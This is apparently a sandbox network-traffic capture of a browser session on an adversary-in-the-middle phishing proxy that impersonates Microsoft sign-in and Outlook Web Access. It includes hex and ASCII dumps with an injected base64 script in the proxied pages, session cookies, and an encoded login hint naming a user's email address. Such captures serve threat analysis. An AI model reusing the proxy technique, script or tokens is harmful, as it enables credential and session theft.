TY0Vyckh0S2U1bFN2MzFCdw== Server: Microsoft-IIS/10.0 request-id: 03d574f7-bad3-e2d0-c75c-5a25cc6c4c6c Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Alt-Svc: h3=":443";ma=2592000,h3-29=":443";ma=2592000 X-CalculatedFETarget: BN0PR04CU001.internal.outlook.com X-BackEndHttpStatus: 302, 302 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: ClientId=A08CE21250094104AB34A7B305FA54B2; expires=Fri, 25-Apr-2025 18:36:56 GMT; path=/;SameSite=None; secure Set-Cookie: ClientId=A08CE21250094104AB34A7B305FA54B2; expires=Fri, 25-Apr-2025 18:36:56 GMT; path=/;SameSite=None; secure Set-Cookie: OIDC=1; expires=Fri, 25-Oct-2024 18:36:56 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: RoutingKeyCookie=; expires=Mon, 25-Apr-1994 18:36:56 GMT; path=/; secure Set-Cookie: OpenIdConnect.token.v1=; expires=Mon, 25-Apr-1994 18:36:56 GMT; path=/; secure Set-Cookie: OpenIdConnect.token.v1=; domain=v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top; expires=Mon, 25-Apr-1994 18:36:56 GMT; path=/; secure Set-Cookie: OpenIdConnect.id_token.v1=; expires=Mon, 25-Apr-1994 18:36:56 GMT; path=/; secure Set-Cookie: OpenIdConnect.code.v1=; expires=Mon, 25-Apr-1994 18:36:56 GMT; path=/; secure Set-Cookie: OpenIdConnect.idp_nonce.v1=; expires=Mon, 25-Apr-1994 18:36:56 GMT; path=/; secure Set-Cookie: OpenIdConnect.idp_correlation_id=; expires=Mon, 25-Apr-1994 18:36:56 GMT; path=/; secure Set-Cookie: OpenIdConnect.tokenPostPath=; expires=Mon, 25-Apr-1994 18:36:56 GMT; path=/; secure Set-Cookie: OpenIdConnect.id_token.v1=; domain=v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top; expires=Mon, 25-Apr-1994 18:36:56 GMT; path=/; secure Set-Cookie: OpenIdConnect.code.v1=; domain=v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top; expires=Mon, 25-Apr-1994 18:36:56 GMT; path=/; secure Set-Cookie: OpenIdConnect.idp_nonce.v1=; domain=v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top; expires=Mon, 25-Apr-1994 18:36:56 GMT; path=/; secure Set-Cookie: OpenIdConnect.idp_correlation_id=; domain=v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top; expires=Mon, 25-Apr-1994 18:36:56 GMT; path=/; secure Set-Cookie: OpenIdConnect.tokenPostPath=; domain=v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top; expires=Mon, 25-Apr-1994 18:36:56 GMT; path=/; secure Set-Cookie: OpenIdConnect.nonce.v3.skPAxK1bGLdqiCd6j8Q-5CD7CMUr7-ebhttAu2FuWpE=638496670161648732.bbc24f29-8470-43ad-8f67-c518d06719de; expires=Thu, 25-Apr-2024 19:36:56 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: HostSwitchPrg=; expires=Mon, 25-Apr-1994 18:36:56 GMT; path=/; secure Set-Cookie: OptInPrg=; expires=Mon, 25-Apr-1994 18:36:56 GMT; path=/; secure Set-Cookie: SuiteServiceProxyKey=; expires=Mon, 25-Apr-1994 18:36:56 GMT; path=/; secure Set-Cookie: ClientId=A08CE21250094104AB34A7B305FA54B2; expires=Fri, 25-Apr-2025 18:36:56 GMT; path=/;SameSite=None; secure Set-Cookie: OIDC=1; expires=Fri, 25-Oct-2024 18:36:56 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: RoutingKeyCookie=; expires=Mon, 25-Apr-1994 18:36:56 GMT; path=/; secure Set-Cookie: OpenIdConnect.token.v1=; expires=Mon, 25-Apr-1994 18:36:56 GMT; path=/; secure Set-Cookie: OpenIdConnect.token.v1=; domain=v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top; expires=Mon, 25-Apr-1994 18:36:56 GMT; path=/; secure Set-Cookie: OpenIdConnect.id_token.v1=; expires=Mon, 25-Apr-1994 18:36:56 GMT; path=/; secure Set-Cookie: OpenIdConnect.code.v1=; expires=Mon, 25-Apr-1994 18:36:56 GMT; path=/; secure Set-Cookie: OpenIdConnect.idp_nonce.v1=; expires=Mon, 25-Apr-1994 18:36:56 GMT; path=/; secure Set-Cookie: OpenIdConnect.idp_correlation_id=; expires=Mon, 25-Apr-1994 18:36:56 GMT; path=/; secure Set-Cookie: OpenIdConnect.tokenPostPath=; expires=Mon, 25-Apr-1994 18:36:56 GMT; path=/; secure Set-Cookie: OpenIdConnect.id_token.v1=; domain=v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top; expires=Mon, 25-Apr-1994 18:36:56 GMT; path=/; secure Set-Cookie: OpenIdConnect.code.v1=; domain=v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top; expires=Mon, 25-Apr-1994 18:36:56 GMT; path=/; secure Set-Cookie: OpenIdConnect.idp_nonce.v1=; domain=v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top; expires=Mon, 25-Apr-1994 18:36:56 GMT; path=/; secure Set-Cookie: OpenIdConnect.idp_correlation_id=; domain=v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top; expires=Mon, 25-Apr-1994 18:36:56 GMT; path=/; secure Set-Cookie: OpenIdConnect.tokenPostPath=; domain=v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top; expires=Mon, 25-Apr-1994 18:36:56 GMT; path=/; secure Set-Cookie: OpenIdConnect.nonce.v3.skPAxK1bGLdqiCd6j8Q-5CD7CMUr7-ebhttAu2FuWpE=638496670161648732.bbc24f29-8470-43ad-8f67-c518d06719de; expires=Thu, 25-Apr-2024 19:36:56 GMT; path=/;SameSite=None; secure; HttpOnly Set-Cookie: HostSwitchPrg=; expires=Mon, 25-Apr-1994 18:36:56 GMT; path=/; secure Set-Cookie: OptInPrg=; expires=Mon, 25-Apr-1994 18:36:56 GMT; path=/; secure Set-Cookie: SuiteServiceProxyKey=; expires=Mon, 25-Apr-1994 18:36:56 GMT; path=/; secure Set-Cookie: X-OWA-RedirectHistory=ArLym14BXDxBr1Zl3Ag; expires=Fri, 26-Apr-2024 00:38:56 GMT; path=/;SameSite=None; secure; HttpOnly X-CalculatedBETarget: BN7PR03MB3443.namprd03.prod.outlook.com X-RUM-Validated: 1 X-RUM-NotUpdateQueriedPath: 1 X-RUM-NotUpdateQueriedDbCopy: 1 X-BeSku: WCS5 X-OWA-DiagnosticsInfo: 1;0;0 X-IIDs: 0 X-BackEnd-Begin: 2024-04-25T18:36:56.164 X-BackEnd-End: 2024-04-25T18:36:56.164 X-DiagInfo: BN7PR03MB3443 X-BEServer: BN7PR03MB3443 X-UA-Compatible: IE=EmulateIE7 X-Proxy-RoutingCorrectness: 1 X-Proxy-BackendServerStatus: 302 X-FEProxyInfo: BLAPR03CA0038.NAMPRD03.PROD.OUTLOOK.COM X-FEEFZInfo: MNZ X-FEServer: BN0PR04CA0016, BLAPR03CA0038 NEL: {"report_to":"NelOfficeUpload1","max_age":7200,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} X-FirstHopCafeEFZ: MNZ Date: Thu, 25 Apr 2024 18:36:56 GMT Connection: close Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-04-25 18:36:56 UTC	1435	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 64 61 74 61 3a 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 3b 62 61 73 65 36 34 2c 5a 6e 56 75 59 33 52 70 62 32 34 67 59 79 67 70 65 32 6c 6d 4b 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 57 56 79 65 56 4e 6c 62 47 56 6a 64 47 39 79 4b 43 49 75 59 69 49 70 49 48 78 38 49 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 57 56 79 65 56 4e 6c 62 47 56 6a 64 47 39 79 4b 43 49 75 5a 79 49 70 4b 58 74 6b 62 32 4e 31 62 57 56 75 64 43 35 6f 5a 57 46 6b 4c 6d 46 77 63 47 56 75 5a 45 4e 6f 61 57 78 6b 4b 45 39 69 61 6d 56 6a 64 43 35 68 63 33 4e 70 5a 32 34 6f 5a 47 39 6a 64 57 31 6c 62 6e 51 75 59 33 4a 6c 59 58 52 6c 52 57 78 6c 62 57 56 75 64 43 67 69 5a 47 6c 32 49 69 6b 73 65 Data Ascii: <html><head><script src="data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.7	49752	138.124.184.68	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:36:56 UTC	1974	OUT	GET /captcha.rdr?ref=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1zaGV1ZSU0MDdoYWlyY2FyZS5jb20mY2xpZW50LXJlcXVlc3QtaWQ9MDNkNTc0ZjctYmFkMy1lMmQwLWM3NWMtNWEyNWNjNmM0YzZjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NjY3MDE2MTY0ODczMi5iYmMyNGYyOS04NDcwLTQzYWQtOGY2Ny1jNTE4ZDA2NzE5ZGUmc3RhdGU9RGN0QkRzSWdFRUJSMExQb2puYUFjV1pZR0k5aUtGQWgwWkpVamRlWHhmdTdyNVZTeC1Fd2FCaFJURjR3RURGWXNvVEMzazNMa2h5dUxoaEJCb00tWmlNcnNVa1hLeG1JYmNoRmpfYzg5MS1jYjhfLWFOdTl0dTF6ZmRmeUxTY0Vyckh0S2U1bFN2MzFCdw== HTTP/1.1 Host: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://e76abede.df1076c6f7230d3c23de9bcb.workers.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=GwZlzv3jPbYV; qPdM.sig=zsvTAb_o15fYh2XyKf_0BUsXAQ0; ClientId=A08CE21250094104AB34A7B305FA54B2; OIDC=1; OpenIdConnect.nonce.v3.skPAxK1bGLdqiCd6j8Q-5CD7CMUr7-ebhttAu2FuWpE=638496670161648732.bbc24f29-8470-43ad-8f67-c518d06719de; X-OWA-RedirectHistory=ArLym14BXDxBr1Zl3Ag
2024-04-25 18:36:57 UTC	2095	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Strict-Transport-Security: max-age=31536000; includeSubDomains P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: bca3816d-0ef5-4353-9851-4aa8a27c2801 x-ms-ests-server: 2.1.17846.6 - SCUS ProdSlices nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: esctx-KrrL33shBI=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8Fqu296N6Uo0Y6SK_I3D0gl2izW076QZuuYH_b0ZXHSuH_2nmEkGsYngHyYiU5VIrmMZ1PwnMAe7E6wxZ2PqNjOpbKChPO0MbyJtFNP4ifzlMt6NJvsRuKxHr71g_VC5wHHvew-TnpVD1VU4jwMAWNyAA; domain=v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top; path=/; secure; HttpOnly; SameSite=None Set-Cookie: fpc=AlQZcavYEAhAkPirn2lEBLc; expires=Sat, 25-May-2024 18:36:56 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd82lSCu0BXePn0A_Kv9z2Yg2Rfz-1hzKb96rPs4sgy0b6kyDzZH9E5-sfPbrs-oVHt58TRsHb9gnVEPUXsEkmw0cXVuLVyqL_Wp-rC8l8e3H4a6OCYn5m8rWbOPiRBsrHvLgVpOWOQkaxsQz9O2wQGYBt4t_8pAVNSC2I3Ak_uTGQgAA; domain=v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top; path=/; secure; HttpOnly; SameSite=None Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly Set-Cookie: stsservicecookie=estsfd; path=/; secure; samesite=none; httponly Date: Thu, 25 Apr 2024 18:36:56 GMT Connection: close content-length: 21789 Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-04-25 18:36:57 UTC	14289	IN	Data Raw: 0d 0a 0d 0a 3c 21 2d 2d 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2d 2d 3e 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 64 61 74 61 3a 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 3b 62 61 73 65 36 34 2c 5a 6e 56 75 59 33 52 70 62 32 34 67 59 79 67 70 65 32 6c 6d 4b 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 57 56 79 65 56 4e 6c 62 47 56 6a 64 47 39 79 4b 43 49 75 59 69 49 70 49 48 78 38 49 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 57 56 79 65 56 4e 6c 62 47 56 6a 64 47 39 79 4b 43 49 75 5a 79 49 70 4b 58 74 6b 62 32 Data Ascii: ... Copyright (C) Microsoft Corporation. All rights reserved. --><!DOCTYPE html><html><head><script src="data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2
2024-04-25 18:36:57 UTC	7500	IN	Data Raw: 2c 77 3d 74 68 69 73 2c 45 3d 5b 5d 3b 77 2e 72 65 74 72 79 4f 6e 45 72 72 6f 72 3d 21 30 2c 77 2e 73 75 63 63 65 73 73 4d 65 73 73 61 67 65 3d 22 4c 6f 61 64 65 64 22 2c 77 2e 66 61 69 6c 4d 65 73 73 61 67 65 3d 22 45 72 72 6f 72 22 2c 77 2e 41 64 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 72 2c 74 2c 6e 2c 6f 2c 69 29 7b 65 26 26 45 2e 70 75 73 68 28 7b 22 73 72 63 50 61 74 68 22 3a 65 2c 22 69 64 22 3a 72 2c 22 72 65 74 72 79 22 3a 6e 7c 7c 30 2c 22 78 69 6e 74 65 67 72 69 74 79 22 3a 74 2c 22 74 61 67 4e 61 6d 65 22 3a 6f 7c 7c 22 73 63 72 69 70 74 22 2c 22 6f 6e 53 75 63 63 65 73 73 22 3a 69 7d 29 7d 2c 77 2e 41 64 64 46 6f 72 52 65 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 72 29 7b 0a 76 61 72 20 74 3d 65 2e 73 72 63 7c 7c 65 2e 68 72 65 66 7c 7c Data Ascii: ,w=this,E=[];w.retryOnError=!0,w.successMessage="Loaded",w.failMessage="Error",w.Add=function(e,r,t,n,o,i){e&&E.push({"srcPath":e,"id":r,"retry":n\|\|0,"xintegrity":t,"tagName":o\|\|"script","onSuccess":i})},w.AddForReload=function(e,r){var t=e.src\|\|e.href\|\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.7	49753	138.124.184.68	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:36:57 UTC	2404	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/js/BssoInterrupt_Core_ChpboAn7HyXj89A22M8mzg2.js HTTP/1.1 Host: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/captcha.rdr?ref=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1zaGV1ZSU0MDdoYWlyY2FyZS5jb20mY2xpZW50LXJlcXVlc3QtaWQ9MDNkNTc0ZjctYmFkMy1lMmQwLWM3NWMtNWEyNWNjNmM0YzZjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NjY3MDE2MTY0ODczMi5iYmMyNGYyOS04NDcwLTQzYWQtOGY2Ny1jNTE4ZDA2NzE5ZGUmc3RhdGU9RGN0QkRzSWdFRUJSMExQb2puYUFjV1pZR0k5aUtGQWgwWkpVamRlWHhmdTdyNVZTeC1Fd2FCaFJURjR3RURGWXNvVEMzazNMa2h5dUxoaEJCb00tWmlNcnNVa1hLeG1JYmNoRmpfYzg5MS1jYjhfLWFOdTl0dTF6ZmRmeUxTY0Vyckh0S2U1bFN2MzFCdw== Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=GwZlzv3jPbYV; qPdM.sig=zsvTAb_o15fYh2XyKf_0BUsXAQ0; ClientId=A08CE21250094104AB34A7B305FA54B2; OIDC=1; OpenIdConnect.nonce.v3.skPAxK1bGLdqiCd6j8Q-5CD7CMUr7-ebhttAu2FuWpE=638496670161648732.bbc24f29-8470-43ad-8f67-c518d06719de; X-OWA-RedirectHistory=ArLym14BXDxBr1Zl3Ag; esctx-KrrL33shBI=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8Fqu296N6Uo0Y6SK_I3D0gl2izW076QZuuYH_b0ZXHSuH_2nmEkGsYngHyYiU5VIrmMZ1PwnMAe7E6wxZ2PqNjOpbKChPO0MbyJtFNP4ifzlMt6NJvsRuKxHr71g_VC5wHHvew-TnpVD1VU4jwMAWNyAA; fpc=AlQZcavYEAhAkPirn2lEBLc; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd82lSCu0BXePn0A_Kv9z2Yg2Rfz-1hzKb96rPs4sgy0b6kyDzZH9E5-sfPbrs-oVHt58TRsHb9gnVEPUXsEkmw0cXVuLVyqL_Wp-rC8l8e3H4a6OCYn5m8rWbOPiRBsrHvLgVpOWOQkaxsQz9O2wQGYBt4t_8pAVNSC2I3Ak_uTGQgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd
2024-04-25 18:36:57 UTC	1412	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 18:36:57 GMT Content-Type: application/x-javascript content-length: 141379 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Tue, 26 Mar 2024 18:07:05 GMT ETag: 0x8DC4DBF8B990C6B x-ms-request-id: 275b29ea-001e-0022-544f-9622a9000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240425T183657Z-174886c4d46bwm7f5gtbt9ga0800000007wg00000000egy9 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-04-25 18:36:57 UTC	14972	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 e4 bd eb 5b e3 38 d2 38 fa fd fd 2b 82 77 0f 13 4f 4c c8 05 68 70 70 e7 97 06 ba 9b 19 20 0c 81 e9 99 05 96 c7 89 15 70 77 b0 b3 b6 c3 65 20 e7 6f 3f 75 91 6c d9 71 e8 9e 7d cf 73 be 9c b9 04 5b 2a c9 52 a9 aa 54 55 2a 49 eb 3f af fc 4f e5 e7 ca da 8f ff 53 19 9c f7 ce ce 2b fd 8f 95 f3 cf 87 67 fb 95 53 78 fb b3 72 d2 3f 3f dc 3b f8 f1 7a f0 a3 f8 ff f9 9d 1f 57 c6 fe 44 54 e0 ef d0 8d 85 57 09 83 4a 18 55 fc 60 14 46 d3 30 72 13 11 57 ee e1 37 f2 dd 49 65 1c 85 f7 95 e4 4e 54 a6 51 f8 55 8c 92 b8 32 f1 e3 04 0a 0d c5 24 7c ac 54 a1 ba c8 ab 9c ba 51 f2 5c 39 3c 35 eb 50 bf 80 da fc 5b 3f 80 d2 a3 70 fa 0c cf 77 49 25 08 13 7f 24 2a 6e e0 51 6d 13 78 09 62 51 99 05 9e 88 2a 8f 77 fe e8 ae 72 ec 8f a2 30 0e c7 49 25 12 23 e1 Data Ascii: [88+wOLhpp pwe o?ulq}s[RTUI?OS+gSxr??;zWDTWJU`F0rW7IeNTQU2$\|TQ\9<5P[?pwI%$nQmxbQwr0I%#
2024-04-25 18:36:57 UTC	1412	IN	Data Raw: 27 bc 75 bc 41 5b c7 d7 50 96 05 d0 8f 13 f1 48 d1 c9 40 67 04 2e 54 42 2b 57 05 7f 58 b6 73 80 71 99 7d 30 57 c4 13 ce 02 f4 7a 18 d0 5b 2b cd fc e0 8e be 41 f7 65 26 bd 11 06 f6 41 5c 84 b7 87 5e 5a 1b d2 0b 5e 45 8c e8 23 04 d0 4b 4b 05 4b 93 d1 3f 0e ed 76 26 86 08 80 2a c3 7b 8c 68 5b d0 b9 3b 04 12 27 6b 14 c9 56 5e 8f d8 7a 67 0d a6 78 42 36 6e b7 00 89 72 31 c5 ed 15 f8 b4 8f d3 44 7b 83 70 d1 de b4 3e e3 ad c0 ed 2d ab 07 fc fe 88 50 db fc 48 60 1b 0d dc 30 05 9f c2 8b 79 ec 9d a6 f5 71 8b 36 66 7d 72 71 05 cc fb 00 a4 bc 95 ee b2 ee 8f 4f c3 38 66 91 e6 bc e4 58 87 96 17 47 53 d7 b0 78 f3 01 f1 01 27 d2 bb 61 1d 8b e4 2e f4 50 35 22 c0 9b 7b 7a bf b9 83 04 22 c0 8b e9 6d e4 7a e2 d8 bf e5 a9 e3 e2 0f c4 a3 5a 66 6f 58 c7 e1 57 17 37 dc d0 bc aa Data Ascii: 'uA[PH@g.TB+WXsq}0Wz[+Ae&A\^Z^E#KKK?v&*{h[;'kV^zgxB6nr1D{p>-PH`0yq6f}rqO8fXGSx'a.P5"{z"mzZfoXW7
2024-04-25 18:36:57 UTC	7542	IN	Data Raw: 39 4e 2b 33 9e 52 02 7d 1a 2b 3b 97 7c e6 cc 5e 5f 71 9a 44 55 e0 0d 5d a2 c1 ba c4 26 aa 12 2f 73 50 24 64 f5 7c c8 3e 1f eb b6 30 12 ea 1e d3 97 18 0f 7c b3 41 0d 0b 0b 87 c0 d5 b5 33 e0 b0 56 6c 45 c7 55 72 3b 85 c5 b3 1f 17 d2 e8 42 ac 92 74 a0 5a e7 25 94 e2 d9 b7 1e f2 b7 16 64 27 b2 cf e7 7c 41 11 1e 12 87 f7 de 70 3d e4 55 79 92 d7 c3 94 61 0c a6 62 1f 54 14 10 ca f8 87 0e d3 c7 07 d3 76 f1 32 8c 17 a8 74 69 75 b1 53 d0 35 04 5e 99 a5 ce 8d ad cb 13 32 d5 05 5a 7e f1 a2 36 ba dc 90 0e 43 d6 26 a4 c0 1a f1 27 ec 64 4e 57 b6 b9 29 94 4b f7 b7 c1 d4 40 cb 34 22 52 6c 3f 04 26 7c 40 05 6e 51 74 f1 70 d3 28 44 0a b3 3a 7c 59 e2 eb eb 25 de da b5 98 21 db aa 86 22 91 43 01 ca 33 b6 8a cf ce fd 2e d6 45 17 b1 9b 5e 65 85 2f 36 53 1f 56 f2 03 42 30 3f 47 Data Ascii: 9N+3R}+;\|^_qDU]&/sP$d\|>0\|A3VlEUr;BtZ%d'\|Ap=UyabTv2tiuS5^2Z~6C&'dNW)K@4"Rl?&\|@nQtp(D:\|Y%!"C3.E^e/6SVB0?G
